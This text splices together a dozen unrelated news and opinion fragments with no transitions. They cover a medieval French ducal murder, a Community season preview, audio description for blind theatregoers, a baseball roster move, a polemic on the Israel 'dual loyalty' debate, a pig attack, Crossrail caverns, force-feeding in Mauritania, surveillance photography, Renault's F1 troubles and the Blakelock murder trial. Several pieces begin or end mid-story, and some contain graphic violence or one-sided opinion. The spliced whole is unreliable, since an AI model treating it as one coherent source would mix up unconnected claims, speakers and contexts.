The dukedoms of Burgundy, Anjou and Berry effectively became satellite states, each with its own administration, civil service and law courts. From 1404 Burgundy was in the singularly ruthless hands of John the Fearless, a nephew of Charles VI who had gained his nickname after his reckless courage in a battle against the Turks in 1396. A bitter struggle for power developed between Duke John and Louis, Duke of Orleans, who was Charles VI’s younger brother, virtually governed France for him and was suspected of being the lover of the queen, Isabeau. At one point in 1405 her son, the Dauphin, was kidnapped by Duke John, though subsequently recovered by the queen and Duke Louis, and there was a story that Duke Louis, who was an enthusiastic womanizer, had tried to seduce Duke John’s beautiful wife and when she refused him had attempted to rape her. Duke John decided to rid himself of Duke Louis and in June 1407 enquries were being made among property agents in Paris for a suitable house, where presently a gang of murderers led by a Norman knight called Raoul d’Anquetonville installed themselves.
Between about seven and eight o’clock in the evening on November 23rd the Duke of Orleans was riding quietly back from the queen’s house with a guard of around ten men, lighting their way with torches. The only eyewitness said that she thought the duke was singing, when he was suddenly attacked by seven or eight masked and armed men. Shouting ‘Kill him! Kill him!’, they chopped one of his hands off and cut his head in two, and he fell off his horse while his brains spurted over the road. They beat him mercilessly, she said, ‘as if they were beating a mattress’, and she saw a big man, his face concealed by a red hood, who told the attackers, ‘Let’s go! He’s dead! Take heart!’
The dead man’s scattered brains and severed hand were gathered up and put in his coffin with the rest of him, and he was buried in the church of the Celestins in the presence of the Dukes of Berry and Anjou as well as Duke John the Fearless, ostentatiously mourning. It was not long before suspicion fell on Duke John and he admitted that he had ordered the murder. He fled Paris three days after the killing for the safety of his own territory and presently paid Raoul d’Anquetonville a handsome sum in consideration of his ‘notable services’.
Fans of Community are understandably wary about the fifth season, given the fairly hollow simulacra that aired last spring. But with the return of creator Dan Harmon, the show has regained the sense of deliberate chaos and freewheeling playfulness that originally earned it such a devoted (and vocal) fan base.
For Harmon's unprecedented return, you can thank none other than Joel McHale, who played a crucial role in NBC bringing back the controversial showrunner. Comparing Harmon to Vince Gilligan (Breaking Bad) and Mitch Hurwitz (Arrested Development), both of whom are guest-starring this season, McHale preached the benefits of letting a series be dictated by a singular vision. "There was some really good stuff last year, but it did not have the direction that the other seasons had," McHale, who plays Jeff Winger, told reporters during a conference call. "I know this is going to sound really grandiose but [Harmon is] as specific as Shakespeare was with his words ... there's no excess," he added.
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When Harmon was fired, Happy Endings' David Guarascio and Moses Port were recruited to keep the sinking ship afloat. Replacing Harmon was a thankless job, but Jim Rash, who plays the flamboyant Dean Pelton, applauded their attempt to pick up where Harmon left off, even if they weren't quite able to reproduce his complex Harmon-ian logic. "Without somebody who has this sort of approach to make it so dense and deep with layers, it's difficult. It's a Herculean task that I certainly wouldn't want to take on. But I think we did our best, you know?" Rash said.
Community is a show that has lived on the bubble since it's inception in 2009. Now only one season away from its #sixseasonsandamovie goal, it'd be a shame for the series to limp to the finish line only to realize no one was left cheering them on. So while Rash and McHale understand fans' skepticism going into Season 5, it's comforting that they could barely contain their praise for the new episodes. "I think that this whole year was just sort of — it felt like a gift," Rash told reporters. "It felt like you were being handed material that was just, I would argue, some of the best of all the seasons. And I feel like the growth of this year for all the characters and for Community in general is pretty paramount. We really went very far as far as hitting big sort of epic episodes, but also really paying homage to these characters that we started with five years ago."
While Season 4 saw Guarascio and Port attempting to broaden the appeal of Community, Harmon's return reinstated the series as the carefully crafted niche comedy it once was. But cult appeal was never Harmon's intention. "Believe it or not, everything I ever put my name on is my 100 percent attempt to entertain everybody on the planet as possible," Harmon tells TVGuide.com. "I'm well aware that certain things will play for certain audiences more as I'm making them, but I never think in my head, 'Oh, I'm gonna make something that alienates my mother because I want to make 15-year-olds happy. I really try as hard as I can to entertain myself."
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But while Harmon's exile and shocking return to Community became all anyone could talk about regarding Community, McHale says the priorities will soon shift back to the work itself. "When the material's so good you kind of forget about that stuff," he said. "And, you know, last year was kind of the crazy year, but now that Dan is back it's like the monarchy has been restored and things are as they should be. The sense of relief that I've had this year has been tremendous."
Even though Harmon is back at the helm, there are still changes ahead: The series is returning without Chevy Chase (Pierce) and with Donald Glover (Troy) only appearing in five of the season's 13 episodes. While fans are particularly bemoaning the loss of Glover, whose onscreen chemistry with Danny Pudi (Abed) is exactly what Tumblr is made for, McHale said the situation created "a wealth of great change" for the show. "I think it really speaks to the idea of the evolution of a series," he says. "The rules keep getting changed on us, but — which is very much like reality — people adjust."
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To help combat the absence of two of the Greendale Seven, Community has enlisted an impressive roster of guest stars, including David Cross, Chris Elliott, Paul Williams, Gina Gershon, Brie Larson, and Jonathan Banks, who will appear regularly as Annie's criminology teacher, Professor Hickey. Though excessive guest stars could easily veer into stunt casting or overwhelm the series much in the same way gimmick themes derailed Season 4, Rash and McHale were quick to ease these worries. ""People start using guest stars to make up for storytelling. And all these guest stars only absolutely support and enhance it," McHale said. "I think it's the most creative guest stars of the last, I don't know, I'm going to go with the last 100 years of television."
While McHale might have exaggerated the last bit, judging by the first few episodes of the season, Harmon has found a way to organically weave in each of the new characters without it feeling desperate or contrived. Walton Goggins' appearance in Episode 4 is of particular note, as he plays a key role in what's sure to become one of Community's more emotional episodes yet.
With so many behind-the-scenes changes, the title of the fifth season premiere, "Repilot," had many people wondering just how different Community would be. Jumping forward in time to after everyone has graduated, the entire study group finds life to be far from what was expected, inspiring a new opportunity for a fresh start. "It'll be kind of getting back to basics," Harmon teased. With enough winking nods to the show's own mistakes ("When we met you were an eclectic anarchist. How did you become the group's airhead?" Jeff probes Britta), Community's premiere apologizes to fans for its uneven past and lays a hopeful track for the future. And while the cast shakeup and Jeff's new role does undoubtedly change the series' dynamic, Rash explained that the re-pilot is really about raising the stakes for the characters.
This is welcome news since Community, at its core, has always been character-driven. Even when the study group was singing their way through a stop-motion world or exploring the Darkest Timeline, it was motivated by a deeper emotional need surrounding the study group members' relationships with each other. The fourth season's biggest failure was its attempt to copy Harmon's use of surreal themes without the same emotional motivation. But with Community's creator back in charge, we can once again look forward to these episodes — including the much-anticipated Nic Cage tribute airing directly after the Season 5 premiere. This season will also feature takes on David Fincher, a Dungeons and Dragons follow-up and an homage to Logan's Run that might just take the show to another level.
"[It's] the most insane piece of television I've ever been a part of," McHale says. Who needs paintball?
Will you give Community another shot?
There was only one snag: I would never be able to see it.
Live theatre is an experience most enjoy, but for those who are blind or have low vision, the gap left by the visual information – taken for granted by sighted people – can be extremely frustrating.
The Rabbits review – triumphant adaptation of a deeply tragic story Read more
I lost my sight at the age of five as the result of glaucoma. As a musician and writer, I have a particular interest in theatre and have welcomed the increase in audio-described theatre available in Australia. With descriptions, people like me can engage with and sometimes get lost in the work on stage. Sometimes we’re backstage before a show begins, touching the props and costumes.
I wouldn’t be able to see The Rabbits, but on 21 January – late in the season – I was able to enjoy it.
Facebook Twitter Pinterest ‘The marsupials’ costumes were softer ... zippered like a coat and trousers’: The Rabbits at the 2016 Sydney festival. Photograph: Jon Green
The Rabbits is an allegorical tale of colonisation told from both sides as a group of marsupials (described as “numbat-like creatures”) have their world invaded by the arrival of the rabbits. The tactile tour organised by Sydney festival was led by the stage manager, Garry Alcorn, who guided a group of us as we touched and held some of what would be appearing on stage.
Garry showed us a long pole with a flag on one end and a gun on the other which the rabbits planted on the ground to mark their territories. We felt the rabbit captain’s costume too: a gargantuan top hat with brass studs, gold medallion and trim. Around the sides were plastic clockwork cogs; the 17th century navy coat was transformed to a stiff boat-shaped contraption around the torso, complete with trimmings and gold buttons. The preshow notes, which are given to vision-impaired people before the show, explained the black coat was full of white indecipherable calligraphy, just like the illustration in the book.
The marsupials’ costumes were softer, more comfortable two-pieces which could be zippered like a coat and trousers. Last, Garry passed around a baby – the show’s most important element. It felt like a soft toy animal and had a long tail that fitted snugly around the neck. The end of the tail had a small hook to attach it to kites as they flew out of the reach of the marsupial mothers.
During the performance I listened through an earpiece as an audio describer talked me through what was happening on stage – the movement of the actors, the changes of scene, any other visual cues that were important to the show. Audio describers are usually volunteers trained by Vision Australia, who I work with sometimes; they prepare the preshow notes, and with meticulous timing, feed in the information during gaps between dialogue.
Michael Ward is the national coordinator of audio description at Vision Australia. The service, he says, enables people who are blind or have low vision to access the rich elements on offer onstage, helping them be more in the moment than they are when they have to do the extra work of deciphering as well as listening. It also helps place scenes in context and “ensures you are not the only one in the room not laughing at the sight gag”, he says.
Belvoir St Theatre’s production of Stephen Sewell’s The Blind Giant is Dancing was audio-described on 12 March, but I attended an earlier performance too. I was struck by how different the play was the second time around.
Facebook Twitter Pinterest Yael Stone and Dan Spielman in a promo shot from Belvoir’s 2016 production of The Blind Giant Is Dancing. Photograph: Brett Boardman/Belvoir St Theatre
Without audio description, the core interest was the dialogue between the main characters: an enraged progressive (Alan played by Dan Spielman), a stubborn feminist (his wife Louise played by his real-life partner Yael Stone), sinister journalist Rose and a controlling magnate. One of the first scenes features an argument between Alan and Louise, and at first, I sided with Alan, in the throes of a midlife crisis with Louise just not listening to him. But with audio description, I learned that Louise kept coming to Alan’s side during their fight, trying to hold him before being rebuffed. I sympathised more with her that time.
Orange Is The New Black's Yael Stone brings her marriage to Belvoir's stage Read more
With audio description, movement on stage becomes part of the drama instead of just background noise. In Belvoir’s production of Blind Giant, the sets changed rapidly with little sound; the seeing audience was notified of the move by a flashing screen of text that dominated the stage. Alan could be at home, at his workplace or at a bar having a drink with Rose. Without description, all I got was a jumble of loosely connected chatter with few clues from the script or accompanying sounds. I had to guess where scenes were set – the local council? The Labour party campaign office? Alan’s office? And where did Alan work? The Institute of Applied Economics in Redfern was stated numerous times on the screen but no one on stage mentioned it.
With audio description, movement on stage becomes part of the drama instead of just background noise Ria Andriani
Knowing it was in Redfern upon second viewing, I could picture some of the local bars where Alan would meet with Rose. We were told the names of each character as they appeared on stage, too – helpful when actors are playing more than one character.
Jill Gavin, the audio describer for The Blind Giant is Dancing, explained her preparation: “I watch the play three times, once in the audience and twice more in a separate space. At Belvoir the audio describers sit in the green room and watch the show on a video feed.”
Gavin uses the scripted stage direction and director’s comments to write preshow notes and fills in the rest with extra information, such as what individual characters look like, what they wear and what they are doing in the spaces between the script. By summarising the scenes one or two pages in advance, Gavin can time her description on cue. This is important: a description must be to the point and not superfluous.
The team made several moves to help its overworked bullpen before Monday night's game against Detroit. Left-hander Tom Gorzelanny was designated for assignment, while right-hander Mike Clevinger and lefty T.J. House were recalled from Triple-A Columbus.
Cleveland is coming off a series in Toronto that included a 19-inning game Friday. The Indians went to their bullpen early on Sunday, when starter Corey Kluber lasted only 3 1/3 innings in a 17-1 loss.
The 30-year-old Chamberlain was signed in the offseason and had no record with a 2.25 ERA in 20 appearances. The right-hander was selected in the first round of the 2006 draft by the New York Yankees and has pitched for Detroit and Kansas City.
He bid Cleveland farewell in a tweet Monday.
Thanks Cleveland it was a blast. The loved y'all showed me was incredible. Relationships I will never forget. Here's to another chapter — Joba Chamberlain (@Joba_44) July 4, 2016
Gorzelanny allowed seven runs in one-third of an inning Sunday.
Clevinger is 0-1 with an 8.79 ERA in three starts for the Indians. He has gone 8-0 with a 2.70 ERA at Columbus.
I've written several times about the coordinated smear campaign to brand writers at the Center for American Progress as "anti-Semites" in order to punish them for defying mandated orthodoxies on Israel and to deter others from doing so. While that smear campaign, having done its job, is now winding down, the predictable effects of it are only beginning: CAP is now censoring those targeted writers, and those who defended them are now being similarly smeared.
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First, the self-censorship at CAP: both The Weekly Standard's Daniel Halper and Philip Weiss document how a post written by two of the targeted CAP writers, Ali Gharib and Eli Clifton, was censored in important, substantive ways. That post concerned a rabidly anti-Islam film, "The Third Jihad," that was continuously shown to NYPD officials. Gharib and Clifton sought to investigate the donors behind the film, and wrote the following (emphasis added):
The film, the Third Jihad, was created by the shadowy Clarion Fund, which did not return the Times’ requests for comment. Clarion was started by Israeli-Canadian Raphael Shore, who, along with other early Clarion employees, is tied to the Israeli orthodox evangelist organization Aish Hatorah, which works within Israel’s right-wing and settler movements. The Atlantic’s Jeffrey Goldberg has referred to Aish Hatorah as “Jewish extremists.”
But at some point after that was posted (Halper says it "seems to have been a few hours"), all of the bolded words were deleted, with no explanation that it had been edited, let alone any explanation as to why. Moreover, Gharib and Clifton noted that a prior film produced by Clarion focused on Iran and was directed by Alex Traiman, whom they identified as "an Israeli-American resident of an ideological settlement in the Occupied Palestinian Territories." That bolded phrase was also deleted without explanation. Weiss summarized the censorship edits this way:
The piece originally contained four explicit references to Israel. Now it contains only one, at the end, an aside about Gingrich. This is a shocking effort to remove any description of the Israel lobby from a major ideological and political undertaking. Anyone who has had anything to do with Aish knows that it is a rightwing pro-Israel group. Imagine, that the Center for American Progress cannot say so!!
In other words, the smear campaign -- to intimidate CAP out of allowing their writers to express prohibited thoughts about Israel -- worked perfectly. And The Weekly Standard's Halper understandably gloats: "So the good news is that there seems to be at least one grown up at the Center for American Progress. Whoever he is, he can control what the bloggers are saying that might be interpreted as being borderline anti-Semitic. He can clean things up for outsiders—and make it look a little more mainstream than perhaps the institution really is." But he also warns: "The bad news is that the grown-up is not always in the room (even if he corrects things when he returns!) and that the stable of bloggers over there have some biases that must be cleaned up by some unknown shady figure." He adds: "it is clear the problem still remains: A think tank that is allied with the Democratic party and the president of the United States . . . is pushing troubling rhetoric." By bowing to the discourse bullies, CAP only validates their accusations and makes them hungrier for scalps.
Meanwhile, those who have defended CAP writers from this smear campaign, including me, are now themselves being smeared -- needless to say -- as Israel-haters and even anti-Semites. So trite and automatic are these attacks that one almost yawns while reading them. Yesterday, Jeffrey Goldberg, who plants himself in the middle of every one of these orgies of anti-Semitism accusations, trotted out every trite accusatory line from the tired neocon playbook to attack me explicitly as an Israel-hater and, he strongly implied, as an anti-Semite (none of these accusations are accompanied by a single word I've said or even a link to anything I've written).
Goldberg begins by quoting anonymous emailers accusing me of being "part of a small coterie of Jewish anti-Semites who never miss an opportunity, as the saying goes, to blast Israel or Jews for supporting Israel" and complaining about his "endorsing the right of Glenn Greenwald to hate Israel." Goldberg, in his own voice, then accuses me of being among "those Jews who consciously set themselves apart from the Jewish majority in the disgust they display for Israel"; that I'm one of those dreaded "Jews who define themselves in opposition to Judaism, Marxists mainly"; that I "evince[] toward Israel a disdain that is quite breathtaking"; and that I "hold[] Israel to a standard [I don't] hold any other country, except the U.S." I also stand accused of this crime: "I've never seen him write with any sort of affection about Israel, Zionism, Judaism, the Jewish people, and so on." Goldberg says that this is all likely due to the fact that "some really bad shit happened to [me] in Hebrew school. (I mean, worse than the usual soul-sucking anomie)."
As I said, these attacks are as boring and clichéd as they are predictable: every person who deviates from orthodoxy on Israel and opposes these neocon smear campaigns is automatically subjected to them. Israel-hater. Anti-Semite. Self-hating Jew. Etc. etc. I'm boring myself even summarizing it.
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There are several obvious points to make about Goldberg's attack. Note the standard tactic of conflating "the Israeli government" with "Israel" and even "Jews", so that if you oppose the former, then you are automatically an enemy of the latter: exactly the way that those who opposed Bush policies were "anti-American." Additionally, just as his fellow neocon, Jamie Kirchick, recently did, Goldberg -- with no recognition of the irony -- prefaced his reflexive little smears by last week depicting himself as being the victim of McCarthyism. The neocons who have made a career of publicly smearing people as anti-Semites and Israel-haters -- often destroying their reputations and ending their careers -- now try to self-identify as the Real Victims of unfair witch hunts. Moreover, it is absolutely true that, as an American citizen, I am most concerned with the actions of my own government and those which it lavishes with massive aid (such as Israel); that's because the first responsibility of all citizens is to oppose the bad acts undertaken by their own government (either directly or through the actions it enables), not engage in the cheap, self-indulgent, pointless act of sitting in judgment of other nations over which one has no control or influence.
But the most substantive point to all of this is the attempt to conflate all of the prohibited ideas about Israel expressed by the targeted CAP writers with the use of the term "Israel-Firster," and thus to suggest that all criticisms of the Israeli Government and their American enablers are all of one piece with a term first coined by actual anti-Semites. Goldberg's attack on me yesterday, for instance, was entitled: "More on Glenn Greenwald, 'Israel-Firsters,' and Idiot Editors (Updated)." From the start, neocons like Goldberg have attempted to tie the targeted CAP writers to that term and thus to link their targeted writings with some sort of neo-Nazi provenance. But as Robert Wright pointed out weeks ago:
Don't be misled by the attention being given to the term "Israel-firster" into thinking that it's the real issue here. That term was used by a single, very junior CAP staffer on his personal twitter account, and he apologized weeks ago. So if people ostensibly complaining about the 'Israel-firster' thing are still after CAP scalps, we know that the issue must go deeper. Here is the real issue: Some people at CAP who haven't used the term Israel-firster have committed a different sin--criticizing, sometimes harshly, the policies of Israel. And some defenders of those policies find it easier to stigmatize critics than to answer them.
That's precisely the point. In general, I try to avoid terminology that is gratuitously inflammatory -- meaning, language that is unnecessary to make a point and that is more likely to distract from the point with side controversies than focus attention on the point itself (by contrast, I don't try to avoid language that is necessarily inflammatory: meaning language that is necessary to make a point even if it offends). That's why I generally avoid using the term "fascist" to describe contemporary politics, or avoid comparisons with Nazis, or avoid using the term "Israel-Firster" (in contrast to Time's Joe Klein, who uses it frequently, I believe in all the years I've been writing about Israel and American neocons, I've used that term once, at least that I recall: to describe Democratic members of Congress who never criticize President Obama except when it comes to the demand that he be more loyal to the Israeli government).
But though the term may be inflammatory and of malignant origins, the concept it signifies is both wholly legitimate and quite important: namely, that there are some American political and media figures (both Jewish and evangelical Christians) for whom Israel is the primary, driving political issue, outweighing all others in importance. And it is that primary concern for Israel that shapes their political advocacy. As The Nation's Eric Alterman wrote yesterday, his avoidance of that specific term "does not mean that a great many people—including many right-wing Jews and some conservative Christians—will never prioritize what they believe to be Israel’s interests above all else."
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It is this plainly true idea, above all else, that this smear campaign and its aftermath is attempting to render off-limits (Spencer Ackerman, who sat silently by while his former CAP colleagues were being smeared, has not only defended Goldberg but has also anointed himself the discourse policeman and issued rules barring this issue from being discussed, in a Tablet article today that uses a cartoon to depict those who raise this issue or even approve of its being raised as channeling Adolf Hitler). The aim here -- as Ackerman explicitly acknowledges -- is to render it not only illegitimate, but even evil, to suggest that "some conservative American Jewish reporters, pundits, and policymakers are more concerned with the interests of the Jewish state than those of the United States." But Alterman yesterday pointed out exactly why that needs to be discussed: "It hardly strains credulity to imagine that folks with the views described above would welcome an attack on Iran’s nuclear program to protect Israel, regardless of its implications for the United States and the world."
But you're not allowed to talk about these dual loyalties even though everyone knows it's true. As Adam Serwer wrote two years ago, it's always been true that in the United States, a nation of immigrants, various factions have allegiances to other nations besides the U.S.; Serwer himself wrote: "I’ll cop to caring about Israel more because I’m Jewish [added:—but that doesn’t mean I’ll evaluate its actions uncritically out of blind loyalty"]. And as Alterman said previously about the attempt to render this discussion off-limits and equate it with anti-Semitism: "I find this very confusing because I was raised dually loyal my whole life." This is perfectly benign and true of a large number of groups in American political life (indeed, American law allows dual citizenship: the pure expression of dual loyalty), but in the eyes of people like Goldberg and Ackerman, recognition of this fact is only off-limits when it comes to American Jews (I grew up in South Florida, where the importance of a hard-line U.S. policy toward Cuba -- in light of the large Cuban-American exile community in Miami -- was constantly discussed without anyone demanding that it be ignored, let alone anyone being accused of racism for discussing it).
To determine whether the idea Ackerman wants to ban is true -- namely, that some key political figures (both Jewish and evangelical Christians) "are more concerned with the interests of the Jewish state than those of the United States" -- just judge for yourself their own comments on this question:
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Let's start with Haim Saban, the Hollywood mogul who, among other things, lavishly funds the Democratic Party, as well as the center at the Brookings Institution bearing his name where pro-Iraq-War and Iran-adversary Kenneth Pollack is a "senior fellow"; this is what Saban told The New York Times [link fixed] (which described him as "the most politically connected mogul in Hollywood, throwing his weight and money around Washington and, increasingly, the world, trying to influence all things Israeli"):
I'm a one-issue guy and my issue is Israel.
Or look at these comments last year from Sheldon Adelson -- who donated $10 million to Newt Gingrich's presidential campaign after Gingrich said Palestinians were "an invented people" -- as uncovered this morning by NBC News' Michael Isikoff (h/t Ali Abunimah):
In a talk to an Israeli group in July, 2010, Adelson said he wished he had served in the Israeli Army rather than the U.S. military—and that he hoped his young son will come back to Israel and “be a sniper for the IDF,” a reference to the Israel Defense Forces. (YouTube video of speech) “I am not Israeli. The uniform that I wore in the military, unfortunately, was not an Israeli uniform. It was an American uniform, although my wife was in the IDF and one of my daughters was in the IDF ... our two little boys, one of whom will be bar mitzvahed tomorrow, hopefully he’ll come back-- his hobby is shooting -- and he’ll come back and be a sniper for the IDF,” Adelson said at the event. “All we care about is being good Zionists, being good citizens of Israel, because even though I am not Israeli born, Israel is in my heart,” he said toward the end of his talk.
Or consider the oath that Goldberg himself took (and that Adelson says he wishes he took) when he voluntarily joined a foreign army, the Israeli Defense Forces, in the 1990s (my email to Goldberg asking for confirmation that he took this oath, one he then went and published, is what so upset Ackerman):
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I swear and commit to pledge allegiance to the State of Israel, its laws, and authorities, to accept upon myself unconditionally the authority of the Israel Defense Force, obey all the orders and instructions given by authorized commanders, devote all my energies, and even sacrifice my life for the protection of the homeland and liberty of Israel.
(It's fine if Goldberg wants to claim that he no longer harbors these loyalties, but the fact that someone who joined a foreign army is now leading the crusade to brand as anti-Semites those who discuss the dual loyalty issue illustrates just how grotesquely that accusation is abused).
Or consider the American writer in Atlanta who just suggested that Israel assassinate his own country's President in order to "forcefully dictate that the United States’ policy includes its helping the Jewish state obliterate its enemies." Meanwhile, neocons continuously attempt to persuade and pressure American Jewish voters into voting for the GOP based on the explicit appeal that Republicans are more loyal to Israel: in other words, urging them to cast their votes in American elections based upon what is best for Israel. Joe Lieberman's close political ally, Rev. John Hagee, spoke for many evangelicals when he demanded fealty to Israel on religious grounds; as The New York Times put it in a profile: "Many conservative Christians say they believe that the president’s support for Israel fulfills a biblical injunction to protect the Jewish state, which some of them think will play a pivotal role in the second coming." Hagee said that "support for Israel was 'God’s foreign policy'." GOP House Majority Leader Eric Cantor vowed to Israeli Prime Minister Benjamin Netanyahu that he and his GOP colleagues would protect and defend Israeli interests against his own Government.
In all of these cases, it doesn't take mind-reading or speculation, let alone resort to anti-Semitic conspiracy theories, to know their allegiances. They're telling you themselves what they are ("I'm a one-issue guy and my issue is Israel"). To demand that these statements be ignored and not spoken of is itself illegitimate and anti-intellectual. To insinuate that those who don't ignore them are channeling anti-Semitism or, worse, are guilty of it, is irrational and offensive in the extreme. U.S. policy toward Israel affects every aspect of American political life. That American politicians are constrained in what they can do because of the political priorities of the Israel Lobby (namely, that the actions of the Israeli Government must not be opposed) is -- as even Tom Friedman pointed out -- a key factor driving and shielding those policies. There is no justification for demanding that these realities be placed off-limits from discussion, and there is no excuse for continuously smearing those who refuse.
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UPDATE [Sat.]: Corey Robin shows how easy it is to play this accusatory game by ironically condemning Jeffrey Goldberg for trafficking in classic anti-Semitic tropes. Meanwhile, in Haaretz, the Israel-American Mairav Zonszein weighs in on this matter with an excellent Op-Ed.
UPDATE II [Sat.]: The Israeli journalist Noam Sheizaf has a short but superb post on this debate as well.
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UPDATE III [Sun.]: Here's Eric Alterman, last year, summarizing the writings of Norman Podhoretz on this matter:
Three years later Podhoretz put his new view quite plainly in an article with the deliberately provocative—from the point of view of Commentary’s history of universalism and anti-Zionism—title, "Is It Good for the Jews?" Podhoretz explained why Jews ought to look "at proposals and policies from the point of view of the Jewish interest." [III] And he later announced that "the role of Jews who write in both the Jewish and general press is to defend Israel." Critical reporting of Israel, Podhoretz insists, "helps Israel's enemies--and they are legion in the US.”
Marie Yates, 61, feared she was going to die after she was gored by the pig in her back garden.
She initially tried to shoo the beast away with a broom after it smashed through her fence with an "almighty crash" and began to destroy her front lawn and eat her pot plants.
The pig, known as Hammy, snapped the broom like a match stick and charged at Marie causing her serious injuries to her left shin and right thigh with its tusks.
Crossrail's eastern running tunnels team has marked another major milestone this week with the completion of the westbound cavern 40m below ground in Stepney Green, just 3 months after the completion of the eastbound cavern earlier this year.
The Stepney Green caverns are some of the largest mined caverns ever constructed in Europe using a tunnelling technique called Sprayed Concrete Lining. They are approximately 50m long, 17m wide and 15m high.
Two tunnel boring machines, Victoria and Elizabeth, will pass through the cavern later this year on their way to Farringdon via Canary Wharf, Whitechapel and Liverpool Street stations.
Stepney Green will have a critical role to play when Crossrail opens; it is where the railway divides with the southeast spur running underground to Plumstead and then onto Abbey Wood via Canary Wharf and the north east spur running underground to Pudding Mill and then on to Shenfield in Essex.
Her rippling flesh is not the result of careless overeating, though, but rather of a tradition.
In Mauritania, to make a girl big and plump, ‘gavage’ — a borrowed French word from the practice of fattening of geese for foie gras — starts early. Obesity has long been the ideal of beauty, signaling a family’s wealth in a land repeatedly wracked by drought.
Mint was 4 when her family began to force her to drink 14 gallons of camel’s milk a day. When she vomited, she was beaten. If she refused to drink, her fingers were bent back until they touched her hand. Her stomach hurt so much she prayed all the animals in the world would die so that there would be no more milk.
By the time Mint was 10, she could no longer run. Unconcerned, her proud mother delighted in measuring the loops of fat hanging under her daughter’s arms.
“My mother thinks she made me beautiful. But she made me sick,” says Mint, who suffers from weight-related illnesses including diabetes and heart disease. She asked that her full last name not be disclosed because she feels embarrassed.
A quarter of the 1.5 million women in Mauritania — a barren, dune-enveloped country in northwest Africa more than twice the size of Texas — are obese, according to the World Health Organization. That’s lower than the 40 percent of American women who the WHO says are obese, but surprisingly high in a country that has not a single fast-food franchise.
Public health via love songs
To end the brutal feeding practices, the government has launched a TV and radio campaign highlighting the health risks of obesity. Because most Mauritanian love songs describe the ideal woman as fat, the health ministry commissioned catchy odes to thin women.
These efforts, combined with the rising popularity of foreign soap operas featuring model-thin women, has helped reduce the practice, especially among the country’s urban elite.
Only one in 10 women under the age of 19 has been force-fed, compared to a third of women 40 or older, according to a survey conducted by the National Office of Statistics in 2001, the most recent available.
Those still forced to eat were overwhelmingly from the country’s rural areas.
But although the canon of beauty is changing, entrenched values are hard to uproot.
“My husband thinks I’m not fat enough,” complained Zeinabou Mint Bilkhere, explaining that her husband found her pretty during the last months of her pregnancy. Since giving birth, the weight has dropped, however, and with it his desire for her.
Appetite-inducing pills
Although few women are force-fed today, many feel pressured to be bigger-than-average. Like many, Bilkhere has turned to a more scientific method of weight gain, using foreign-made appetite-inducing pills.
Wrapped in a floor-length veil, the 24-year-old, who is roughly a size 8, opens her purse and pushes a fistful of change across the counter of a roadside pharmacy for a box of Anactine, a Moroccan-made antihistamine.
The pills, commonly prescribed for hay fever, also induce hunger. They and similar drugs replace a more blunt instrument, recently outlawed by the government: animal steroids intended for fattening camels.
“When I was little, my mother hit me to eat because I didn’t want to be fat. Now I want to be big because men like that,” said Bilkhere, who wants to gain more than 20 pounds.
But many men say they prefer voluptuous women.
Isselmou Ould Mohamed says he loves his wife’s 200-pound body and was pleased when she began adding even more weight during pregnancy. When he learned she had started walking around the soccer stadium to try to shed the extra pounds, he was revolted.
More to love
“I don’t like skinny women. I want to be able to grab her love handles,” said the 32-year-old. “I told her that if she loses a lot of weight, I’ll divorce her.”
Although Mauritania is the only culture known to force-feed girls, obesity is popular across much of the Arab world. Nomadic peoples struggling to survive the harsh desert came to prize fatness as a sign of health.
Fifty-two percent of women over 15 in Kuwait are obese, as are 46 percent in Egypt and approximately a third of women in Saudi Arabia and Bahrain, according to the WHO. That contrasts sharply with most sub-Saharan countries, including Mauritania’s neighbors, Senegal and Mali, where only 9 and 6 percent of women are obese.
“A man’s goal is to marry a woman that fills his house. She needs to decorate it like an armoire or a TV set,” said Seif l’Islam, 48, curator of a library of ancient Islamic manuscripts, which include numerous love poems to plump women.
There are signs of change. In the dying desert light, chubby women in head-to-toe veils can be seen perspiring as they walk around the capital’s soccer stadium.
“You would think,” Mr. Benskin said.
But you would be wrong.
Just the other day, for example, he turned on the news and saw surveillance footage of teenagers pushing an old man down some stairs and running away, oblivious to the cameras.
“I’m astounded by the fact that people are still going about as if no one is watching, doing all this crazy stuff in public,” he said.
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Mr. Benskin, who has no formal training and has taken photographs only for the past five or six years, turned this fascination into images of a city in which surveillance is so pervasive that the people under its eye no longer notice it. He, too, was not aware of how many eyes watched his every move until he started photographing a few, then looked through his archives for others. Sure enough, the eyes were everywhere — not cruel or sinister, just there.
It is possible that New York also amps up some of its performances for an audience, including its penchant for petty crime. Some years back, when Mr. Benskin was working as a doorman, he watched a man break into a car by tossing a small rock against a window. He’d throw it a few times, walk away, then retrieve it, throw it a few more times, until there were enough small cracks that he was finally able to push the window in and grab the goodies inside. The process took about five minutes.
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“I actually called the cops,” Mr. Benskin said. “But they didn’t get there in time.”
Perhaps somewhere, in some other part of the neighborhood, there was a more interesting show going on. So much to watch, so little time.
Mere weeks ago, the marque's F1 boss, Cyril Abiteboul, admitted that after a tumultuous start to the turbo V6 era, the carmaker is considering its options for the future -- which could include pulling out of the sport.
But Auto Motor und Sport reports that Ghosn chaired a 'crisis meeting' in Paris in recent days and decided that rather than quit F1, Renault "must return to winning ways".
The reaction may go some way to appeasing Renault's works F1 partner Red Bull, whose alarm with the situation only grew in China a week ago when French-made 'power units' were failing left, right and centre.
"The first step has been taken," team official Dr Helmut Marko, referring to Renault's engine crisis, told Brazil's Globo Esporte.
"After the disaster of China, Renault recognised its responsibility. Now let's see what they can do," the Austrian added.
"Ferrari understood its difficulties with the engine last year and started early on building a new one. They did a great job. This was not the case with Renault," said Marko.
"Let's see how much Renault will move forward now. How much they want to invest will also be important.
"For our part, we will debut a very different version of the car in Spain, which Adrian Newey has concentrated great effort on. But I repeat that we are dependent on the power unit of Renault," he insisted.
So for now, Marko said, Red Bull's quit threat stands.
"Yes," he confirmed. "If in the medium term we continue to just watch the others fighting for victory and cannot do anything about it, then what's the point of remaining in F1?"
Marko said the rules themselves also need to be urgently looked it.
"For the good of F1," he insisted, "something fundamental so that the differences between the power units is not as great as it is today should be done. It's destroying our sport.
"There was a time when we had an FIA president who saw the importance of this balance," Marko added.
PC Keith Blakelock curled up in a ball and screamed for help as a mob hacked him to death during the Broadwater Farm riots, an eyewitness has told the Old Bailey.
The witness used the pseudonym John Brown and had his voice distorted by a modulator to protect his identity.
He said he saw Nicholas Jacobs stab the 40-year-old police officer between two and four times with a machete in Tottenham in October 1985.
Mr Jacobs, 45, denies murder.
'Excitement of situation'
Asked by Richard Whittam QC, for the prosecution, what the officer was doing during the attack, Mr Brown said: "What I saw, he was trying to curl up into a ball, I suppose to protect himself somehow."
